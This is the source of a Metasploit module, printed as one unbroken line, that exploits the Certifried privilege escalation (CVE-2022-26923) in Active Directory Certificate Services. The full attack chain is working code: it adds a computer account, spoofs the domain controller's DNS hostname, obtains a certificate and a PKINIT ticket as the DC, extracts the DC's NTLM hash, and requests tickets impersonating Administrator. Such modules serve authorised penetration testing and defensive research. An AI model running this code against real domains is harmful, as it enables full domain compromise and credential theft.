## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Authenticated alias connect_smb_client connect include Msf::Exploit::Remote::Kerberos::Client include Msf::Exploit::Remote::LDAP include Msf::Auxiliary::Report include Msf::Exploit::Remote::MsIcpr include Msf::Exploit::Remote::MsSamr::Computer def initialize(info = {}) super( update_info( info, 'Name' => 'Active Directory Certificate Services (ADCS) privilege escalation (Certifried)', 'Description' => %q{ This module exploits a privilege escalation vulnerability in Active Directory Certificate Services (ADCS) to generate a valid certificate impersonating the Domain Controller (DC) computer account. This certificate is then used to authenticate to the target as the DC account using PKINIT preauthentication mechanism. The module will get and cache the Ticket-Granting-Ticket (TGT) for this account along with its NTLM hash. Finally, it requests a TGS impersonating a privileged user (Administrator by default). This TGS can then be used by other modules or external tools. }, 'License' => MSF_LICENSE, 'Author' => [ 'Oliver Lyak', # Discovery 'CravateRouge', # bloodyAD implementation 'Erik Wynter', # MSF module 'Christophe De La Fuente' # MSF module ], 'References' => [ ['URL', 'https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4'], ['URL', 'https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html'], ['CVE', '2022-26923'] ], 'Notes' => { 'AKA' => [ 'Certifried' ], 'Reliability' => [], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ IOC_IN_LOGS ] }, 'Actions' => [ [ 'REQUEST_CERT', { 'Description' => 'Request a certificate with DNS host name matching the DC' } ], [ 'AUTHENTICATE', { 'Description' => 'Same as REQUEST_CERT but also authenticate' } ], [ 'PRIVESC', { 'Description' => 'Full privilege escalation attack' } ] ], 'DefaultAction' => 'PRIVESC', 'DefaultOptions' => { 'RPORT' => 445, 'SSL' => true, 'DOMAIN' => '' } ) ) register_options([ # Using USERNAME, PASSWORD and DOMAIN options defined by the LDAP mixin OptString.new('DC_NAME', [ true, 'Name of the domain controller being targeted (must match RHOST)' ]), OptInt.new('LDAP_PORT', [true, 'LDAP port (default is 389 and default encrypted is 636)', 636]), # Set to 636 for legacy SSL OptString.new('DOMAIN', [true, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']), OptString.new( 'SPN', [ false, 'The Service Principal Name used to request an additional impersonated TGS, format is "service_name/FQDN" '\ '(e.g. "ldap/dc01.mydomain.local"). Note that, independently of this option, a TGS for "cifs/."'\ ' will always be requested.', ], conditions: %w[ACTION == PRIVESC] ), OptString.new( 'IMPERSONATE', [ true, 'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)', 'Administrator' ], conditions: %w[ACTION == PRIVESC] ) ]) deregister_options('CERT_TEMPLATE', 'ALT_DNS', 'ALT_UPN', 'PFX', 'ON_BEHALF_OF', 'SMBUser', 'SMBPass', 'SMBDomain') end def run @privesc_success = false @computer_created = false opts = {} validate_options unless can_add_computer? fail_with(Failure::NoAccess, 'Machine account quota is zero, this user cannot create a computer account') end opts[:tree] = connect_smb computer_info = add_computer(opts) @computer_created = true disconnect_smb(opts.delete(:tree)) impersonate_dc(computer_info.name) opts = { username: computer_info.name, password: computer_info.password } opts[:tree] = connect_smb(opts) opts[:cert_template] = 'Machine' cert = request_certificate(opts) fail_with(Failure::UnexpectedReply, 'Unable to request the certificate.') unless cert if ['AUTHENTICATE', 'PRIVESC'].include?(action.name) credential, key = get_tgt(cert) fail_with(Failure::UnexpectedReply, 'Unable to request the TGT.') unless credential && key get_ntlm_hash(credential, key) end if action.name == 'PRIVESC' # Always request a TGS for `cifs/...` SPN, since we need it to properly delete the computer account default_spn = "cifs/#{datastore['DC_NAME']}.#{datastore['DOMAIN']}" request_ticket(credential, default_spn) @privesc_success = true # If requested, get an additional TGS if datastore['SPN'].present? && datastore['SPN'].casecmp(default_spn) != 0 begin request_ticket(credential, datastore['SPN']) rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e print_error("Unable to get the additional TGS for #{datastore['SPN']}: #{e.message}") end end end rescue MsSamrConnectionError, MsIcprConnectionError => e fail_with(Failure::Unreachable, e.message) rescue MsSamrAuthenticationError, MsIcprAuthenticationError => e fail_with(Failure::NoAccess, e.message) rescue MsSamrNotFoundError, MsIcprNotFoundError => e fail_with(Failure::NotFound, e.message) rescue MsSamrBadConfigError => e fail_with(Failure::BadConfig, e.message) rescue MsSamrUnexpectedReplyError, MsIcprUnexpectedReplyError => e fail_with(Failure::UnexpectedReply, e.message) rescue MsSamrUnknownError, MsIcprUnknownError => e fail_with(Failure::Unknown, e.message) rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e fail_with(Failure::Unknown, e.message) ensure if @computer_created print_status("Deleting the computer account #{computer_info&.name}") disconnect_smb(opts.delete(:tree)) if opts[:tree] if @privesc_success # If the privilege escalation succeeded, let'use the cached TGS # impersonating the admin to delete the computer account datastore['SMB::Auth'] = Msf::Exploit::Remote::AuthOption::KERBEROS datastore['Smb::Rhostname'] = "#{datastore['DC_NAME']}.#{datastore['DOMAIN']}" datastore['SMBDomain'] = datastore['DOMAIN'] datastore['DomainControllerRhost'] = rhost tree = connect_smb(username: datastore['IMPERSONATE']) else tree = connect_smb end opts = { tree: tree, computer_name: computer_info&.name } begin delete_computer(opts) if opts[:tree] && opts[:computer_name] rescue MsSamrUnknownError => e print_warning("Unable to delete the computer account, this will have to be done manually with an Administrator account (#{e.message})") end disconnect_smb(opts.delete(:tree)) if opts[:tree] end end def validate_options if datastore['USERNAME'].blank? fail_with(Failure::BadConfig, 'USERNAME not set') end if datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'PASSWORD not set') end if datastore['DOMAIN'].blank? fail_with(Failure::BadConfig, 'DOMAIN not set') end unless datastore['DOMAIN'].match(/.+\..+/) fail_with(Failure::BadConfig, 'DOMAIN format must be FQDN (ex: mydomain.local)') end if datastore['CA'].blank? fail_with(Failure::BadConfig, 'CA not set') end if datastore['DC_NAME'].blank? fail_with(Failure::BadConfig, 'DC_NAME not set') end if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+\..+\..+}) fail_with(Failure::BadConfig, 'SPN format must be /. (ex: cifs/dc01.mydomain.local)') end end def connect_smb(opts = {}) username = opts[:username] || datastore['USERNAME'] password = opts[:password] || datastore['PASSWORD'] domain = opts[:domain] || datastore['DOMAIN'] datastore['SMBUser'] = username datastore['SMBPass'] = password datastore['SMBDomain'] = domain if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS vprint_status("Connecting SMB with #{username}.#{domain} using Kerberos authentication") else vprint_status("Connecting SMB with #{username}.#{domain}:#{password}") end begin connect_smb_client rescue Rex::ConnectionError, RubySMB::Error::RubySMBError => e fail_with(Failure::Unreachable, e.message) end begin smb_login rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e})") end report_service( host: rhost, port: rport, host_name: simple.client.default_name, proto: 'tcp', name: 'smb', info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})" ) begin simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$") rescue RubySMB::Error::RubySMBError => e fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})") end end def disconnect_smb(tree) vprint_status('Disconnecting SMB') tree.disconnect! if tree simple.client.disconnect! rescue RubySMB::Error::RubySMBError => e print_warning("Unable to disconnect SMB ([#{e.class}] #{e})") end def can_add_computer? vprint_status('Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...') quota = nil begin ldap_connection do |ldap| ldap_options = { filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'), attributes: 'ms-DS-MachineAccountQuota', return_result: false } ldap.search(ldap_options) do |entry| quota = entry['ms-ds-machineaccountquota']&.first&.to_i end end rescue Net::LDAP::Error => e print_error("LDAP error: #{e.class}: #{e.message}") end if quota.blank? print_warning('Received no result when trying to obtain ms-DS-MachineAccountQuota. Adding a computer account may not work.') return true end vprint_status("ms-DS-MachineAccountQuota = #{quota}") quota > 0 end def print_ldap_error(ldap) opres = ldap.get_operation_result msg = "LDAP error #{opres.code}: #{opres.message}" unless opres.error_message.to_s.empty? msg += " - #{opres.error_message}" end print_error("#{peer} #{msg}") end def ldap_connection ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}" base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',') ldap_options = { port: datastore['LDAP_PORT'], base: base } ldap_connect(ldap_options) do |ldap| if ldap.get_operation_result.code != 0 print_ldap_error(ldap) break end print_good("Successfully authenticated to LDAP (#{ldap_peer})") yield ldap end end def get_dnshostname(ldap, c_name) dnshostname = nil filter1 = Net::LDAP::Filter.eq('Name', c_name.delete_suffix('$')) filter2 = Net::LDAP::Filter.eq('objectclass', 'computer') joined_filter = Net::LDAP::Filter.join(filter1, filter2) ldap_options = { filter: joined_filter, attributes: 'DNSHostname', return_result: false } ldap.search(ldap_options) do |entry| dnshostname = entry[:dnshostname]&.first end vprint_status("Retrieved original DNSHostame #{dnshostname} for #{c_name}") if dnshostname dnshostname end def impersonate_dc(computer_name) ldap_connection do |ldap| dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME']) print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}") domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',') computer_dn = "cn=#{computer_name.delete_suffix('$')},cn=computers,#{domain_to_ldif}" ldap.modify(dn: computer_dn, operations: [[ :add, :dnsHostName, dc_dnshostname ]]) new_computer_hostname = get_dnshostname(ldap, computer_name) if new_computer_hostname != dc_dnshostname fail_with(Failure::Unknown, 'Failed to change the DNS hostname') end print_good('Successfully changed the DNS hostname') end rescue Net::LDAP::Error => e print_error("LDAP error: #{e.class}: #{e.message}") end def get_tgt(cert) dc_name = datastore['DC_NAME'].dup.downcase dc_name += '$' unless dc_name.ends_with?('$') username, realm = extract_user_and_realm(cert.certificate, dc_name, datastore['DOMAIN']) print_status("Attempting PKINIT login for #{username}@#{realm}") begin server_name = "krbtgt/#{realm}" tgt_result = send_request_tgt_pkinit( pfx: cert, client_name: username, realm: realm, server_name: server_name, rport: 88 ) print_good('Successfully authenticated with certificate') report_service( host: rhost, port: rport, name: 'Kerberos-PKINIT', proto: 'tcp', info: "Module: #{fullname}, Realm: #{realm}" ) ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(tgt_result.as_rep, tgt_result.decrypted_part) Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self) [ccache.credentials.first, tgt_result.krb_enc_key[:key]] rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e case e.error_code when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CERTIFICATE_MISMATCH print_error("Failed: #{e.message}, Target system is likely not vulnerable to Certifried") else print_error("Failed: #{e.message}") end nil end end def get_ntlm_hash(credential, key) dc_name = datastore['DC_NAME'].dup.downcase dc_name += '$' unless dc_name.ends_with?('$') print_status("Trying to retrieve NT hash for #{dc_name}") realm = datastore['DOMAIN'].downcase authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new( host: rhost, realm: realm, username: dc_name, framework: framework, framework_module: self ) tgs_ticket, _tgs_auth = authenticator.u2uself(credential) session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new( type: credential.keyblock.enctype.value, value: credential.keyblock.data.value ) ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode( tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET) ) value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value) pac_info_buffer = pac.pac_info_buffers.find do |buffer| buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION end unless pac_info_buffer print_error('NTLM hash not found in PAC') return end serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(key) ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash print_good("Found NTLM hash for #{dc_name}: #{ntlm_hash}") report_ntlm(realm, dc_name, ntlm_hash) end def report_ntlm(domain, user, hash) jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) service_data = { address: rhost, port: rport, service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :ntlm_hash, jtr_format: jtr_format, username: user, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: domain }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) end def request_ticket(credential, spn) print_status("Getting TGS impersonating #{datastore['IMPERSONATE']}@#{datastore['DOMAIN']} (SPN: #{spn})") dc_name = datastore['DC_NAME'].dup.downcase dc_name += '$' if !dc_name.ends_with?('$') options = { host: rhost, realm: datastore['DOMAIN'], username: dc_name, framework: framework, framework_module: self } authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options) sname = Rex::Proto::Kerberos::Model::PrincipalName.new( name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST, name_string: spn.split('/') ) auth_options = { sname: sname, impersonate: datastore['IMPERSONATE'] } authenticator.s4u2self(credential, auth_options) end end